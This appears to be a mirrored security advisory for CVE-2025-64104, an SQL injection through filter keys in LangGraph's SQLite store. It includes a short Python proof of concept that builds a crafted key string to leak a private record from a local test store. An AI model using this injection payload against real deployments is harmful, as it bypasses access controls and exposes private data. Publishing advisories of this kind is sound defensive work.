CVE-2025-64104: LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore
Summary LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. Details /langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py The key portion of the JSON path is concatenated directly into the SQL string without sanitation.
Published Oct 29, 2025 · Updated Oct 28, 2026
Affected packages
langgraph-checkpoint-sqlite
- Ecosystem
- PyPI
- Affected
- <= 2.0.10
- Fixed in
- 2.0.11
- Check
pip show langgraph-checkpoint-sqlite
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.
Details
`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`
The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.
filter_conditions.append(
"json_extract(value, '$."
+ key # <-- Directly concatenated, no escaping!
+ "') = '"
+ value.replace("'", "''") # <-- Only value is escaped
+ "'"
)Who is affected
This issue affects only developers or projects that directly use the `checkpoint-sqlite` store.
An application is vulnerable only if it:
- Instantiates the
SqliteStorefrom thecheckpoint-sqlitepackage, and - Builds the
filterargument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).
If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.
Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.
PoC
_Complete instructions, including specific configuration details, to reproduce the vulnerability._
#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""
from langgraph.store.sqlite import SqliteStore
# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
store.setup()
# Add public and private documents
store.put(("docs",), "public", {"access": "public", "data": "public info"})
store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
# Normal query - returns 1 public document
normal = store.search(("docs",), filter={"access": "public"})
print(f"Normal query: {len(normal)} docs")
# SQL injection via malicious key
malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
injected = store.search(("docs",), filter={malicious_key: "dummy"})
print(f"Injected query: {len(injected)} docs")
for doc in injected:
if doc.value.get("access") == "private":
print(f"LEAKED: {doc.value}")Credited to ColeMurray.
References
- https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8
- https://nvd.nist.gov/vuln/detail/CVE-2025-64104
- https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4
- https://github.com/pypa/advisory-database/tree/main/vulns/langgraph-checkpoint-sqlite/PYSEC-2026-1529.yaml
- https://github.com/advisories/GHSA-7p73-8jqx-23r8
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-115883
LangGraph: Namespace labels containing `.` reach other namespaces in Postgres and SQLite stores
medium6.0Oct 23, 2026CVE-2026-71433
LangGraph: Namespace prefix matching crosses segment boundaries in Postgres and SQLite stores
medium5.3Aug 6, 2026CVE-2025-67644
LangGraph's SQLite is vulnerable to SQL injection via metadata filter key in SQLite checkpointer list method
high7.3Dec 10, 2025CVE-2025-8709
LangGraph's SQLite store implementation has a SQL Injection Vulnerability
high7.3Oct 26, 2025
